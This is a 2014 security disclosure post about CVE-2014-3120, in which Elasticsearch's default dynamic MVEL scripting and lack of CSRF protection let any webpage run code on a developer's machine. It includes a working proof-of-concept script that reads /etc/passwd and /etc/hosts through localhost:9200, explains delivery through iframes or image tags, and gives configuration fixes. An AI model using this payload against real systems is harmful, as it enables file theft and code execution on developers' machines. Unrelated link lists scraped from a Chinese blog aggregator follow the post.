Insecure default in Elasticsearch enables remote code execution
Elasticsearch has a flaw in its default configuration which makes it possible for any webpage to execute arbitrary code on visitors with Elasticsearch installed. If you’re running Elasticsearch in
development please read the instructions on how to secure your machine. Elasticsearch version
1.2 (which is unreleased as of writing) is not vulnerable to remote code execution, but still has some security concerns.
The problem(s)
There are a couple of problems which enable the proof of concept I’m going to present:
- Elasticsearch has no access roles or authentication mechanism. This means that you have full control over a cluster the moment you connect to it.
- The API for Elasticsearch is accessible over HTTP and provides no CSRF
protection whatsoever. - It contains a feature which makes it possible to evaluate expressions
as part of a query. An example usage of this feature is to specify a custom scoring function while searching through documents. It uses the MVEL language
by default. - Up to version 1.2 dynamic scripting (which
makes it possible to send scripts to the cluster on the fly) was enabled by default. As mentioned in the documentation, this feature gives someone the same priviliges as the user that runs Elasticsearch. MVEL has no sandboxing at all.
There are no issues up to this point as long as you properly follow the documentation and make sure your Elasticsearch cluster is not available from the outside world. There is one target that isn’t
mentioned in the documentation though: The Developer! When you’re developing an application that uses Elasticsearch, you probably have it running on your machine. The default port is 9200 and
because there is no CSRF protection any webpage can just connect to the cluster using localhost:9200 as the host.
PoC
The following script will read /etc/hosts and /etc/passwd from a user
visiting a webpage and display the contents in the browser.
read_file = (filename) ->
"""
import java.io.File;
import java.util.Scanner;
new Scanner(new File("#{filename}")).useDelimiter("\\\\Z").next();
"""
# This PoC assumes that there is at least one document stored in Elasticsearch, there are ways around that though
$ ->
payload = {
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {}
}
for filename in ["/etc/hosts", "/etc/passwd"]
payload["script_fields"][filename] = {"script": read_file(filename)}
$.getJSON "http://localhost:9200/_search?source=#{encodeURIComponent(JSON.stringify(payload))}&callback=?", (data) ->
console.log(data)
for hit in data["hits"]["hits"]
for filename, contents of hit["fields"]
document.write("<h2>#{filename}</h2>")
for content in contents
document.write("<pre>" + content + "</pre>")
document.write("<hr>")
You can verify whether you’re vulnerable by trying out the above PoC here.
There are many ways to exploit this, you could link the victim to the page or embed it as an Iframe. You can even exploit this by crafting a URL and using it as the src of
an <img>, as the only thing that needs to happen is a single GET request. No user interaction required!
Because this is so easily exploitable you can mass-pwn developers with relatively little work.
How to secure against this vulnerability
Add the following line to your elasticsearch.yml to disable dynamic scripting and prevent remote code execution:
script.disable_dynamic: true
You should also make sure that your local Elasticsearch instance is only binding onlocalhost, as someone could exploit you over LAN
without making you visit a webpage if you don’t. The Homebrew Elasticsearch formula does this automatically. This still means you’re vulnerable to the CSRF exploit though!
If you want to be as secure as possible, you should run Elasticsearch inside a virtual machine, to make sure it has no access to the hosting machine at all.
Additional targets
Disabling scripting will prevent code execution, but that still leaves us with the issue of being able to query and administer the instance without limit. A webpage can easily dump the whole database
running on your machine, sensitive data included. This is impossible to fix by the Elasticsearch developers without adding authentication or CSRF protection.
If an attacker can figure out the internal address of your production Elasticsearch instance, you’re also open to leaking your production data. If your development machine is connected to a VPN which
provides access to your Elasticsearch cluster, an attacker can easily query or shut
down your cluster simply by making you visit a webpage.
Notes
- I have reserved CVE-2014-3120 for this issue.
- This exploit was tested against Elasticsearch version 1.1.1 on MacOSX installed through Homebrew. No configuration changes were made.
- I notified Elasticsearch through their security report instructions on the 26th of April 2014. They replied they were aware
of it, but didn’t intend to do a security release and instead disable dynamic scripting by default in version 1.2. - This security issue has been indepently discovered and blogged about on
December 9th 2013.
Insecure default in Elasticsearch enables remote code execution的更多相关文章
- MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...
- CVE-2014-6321 && MS14-066 Microsoft Schannel Remote Code Execution Vulnerability Analysis
目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 这次的CVE和 ...
- Roundcube 1.2.2 - Remote Code Execution
本文简要记述一下Roundcube 1.2.2远程代码执行漏洞的复现过程. 漏洞利用条件 Roundcube必须配置成使用PHP的mail()函数(如果没有指定SMTP,则是默认开启) PHP的mai ...
- [EXP]Apache Superset < 0.23 - Remote Code Execution
# Exploit Title: Apache Superset < 0.23 - Remote Code Execution # Date: 2018-05-17 # Exploit Auth ...
- [EXP]ThinkPHP 5.0.23/5.1.31 - Remote Code Execution
# Exploit Title: ThinkPHP .x < v5.0.23,v5.1.31 Remote Code Execution # Date: -- # Exploit Author: ...
- [EXP]Microsoft Windows MSHTML Engine - "Edit" Remote Code Execution
# Exploit Title: Microsoft Windows (CVE-2019-0541) MSHTML Engine "Edit" Remote Code Execut ...
- Home Web Server 1.9.1 build 164 - CGI Remote Code Execution复现
一. Home Web Server 1.9.1 build 164 - CGI Remote Code Execution复现 漏洞描述: Home Web Server允许调用CGI程序来通过P ...
- [我的CVE][CVE-2017-15708]Apache Synapse Remote Code Execution Vulnerability
漏洞编号:CNVD-2017-36700 漏洞编号:CVE-2017-15708 漏洞分析:https://www.javasec.cn/index.php/archives/117/ [Apache ...
- Exploiting CVE-2015-2509 /MS15-100 : Windows Media Center could allow remote code execution
Exploiting CVE-2015-2509 /MS15-100 : Windows Media Center could allow remote code execution Trend Mi ...
随机推荐
- poj2479(dp)
题目链接:http://poj.org/problem?id=2479 题意:求所给数列中元素值和最大的两段子数列之和. 分析:从左往右扫一遍,b[i]表示前i个数的最大子数列之和. 从右往左扫一遍, ...
- 浅谈SQL之主键、外键约束
约束:顾名思义就是一种限制,在表或列的层次设置约束,确保数据的有效性和完整性. SQL server中约束的主要分类: UNIQUE约束(唯一性约束) 防止一个特定的列中两个记录具有相同的值.可设置多 ...
- cocos2d_x_05_Box2D物理引擎
一.认识Box2D 帮助文档,共69页 二.创建一个物理世界 先导入主头文件 #include <Box2D/Box2D.h> 三.物理世界一览 像素转成米 的比例因子 就是32 三.运动 ...
- 创建并使用静态库(ar 命令)
创建并使用静态库(ar 命令) archive命令的功能是:创建或改动归档文件或者从归档文件里析取信息.能够简单的理解为一个打包工具,将成员文件依照一定的规则构建到.a文件里, ...
- 关于WHERE后面不能放聚合函数(如SUM(...))的解决办法
我们在编写SQL语句的时候,常常会遇到需要将SUM()放到WHERE后面作为条件查询,事实证明这样是无法执行的,执行会报异常:聚合不应出现在 WHERE 子句中. 那么如何解决呢,使用HAVING关键 ...
- 委托、Lambda和事件
委托 委托相当于C语言当中的函数指针,不过委托是类型安全的类,它定义了返回类型和参数的类型. 声明委托 在C#中使用一个类,分为两个阶段.首先,需要定义这个类,告诉编译器这个类由什么字段和方法组成,然 ...
- c++ cin>>详解
参考地址:http://www.cnblogs.com/A-Song/archive/2012/01/29/2331204.html 程序的输入都建有一个缓冲区,即输入缓冲区.一次输入过程是这样的,当 ...
- Libgdx: 将Texturepacker打包的PNG图片还原成一张一张的单个的
你是否发现用Texturepacker在打包压缩资源文件之后. 把原稿文件弄丢了,可是又要添加新的小png的时候,却无从下手了,本文就是博主在遇到这个问题后百度了非常多方法,可惜仅仅有plist格式的 ...
- Thread Dump 和Java应用诊断(转)
Thread Dump 和Java应用诊断 Thread Dump是非常有用的诊断Java应用问题的工具,每一个Java虚拟机都有及时生成显示所有线程在某一点状态的thread-dump的能力.虽然各 ...
- 【spring源代码分析】--Bean的解析与注冊
接着上一节继续分析,DefaultBeanDefinitionDocumentReader的parseBeanDefinitions方法: protected void parseBeanDefini ...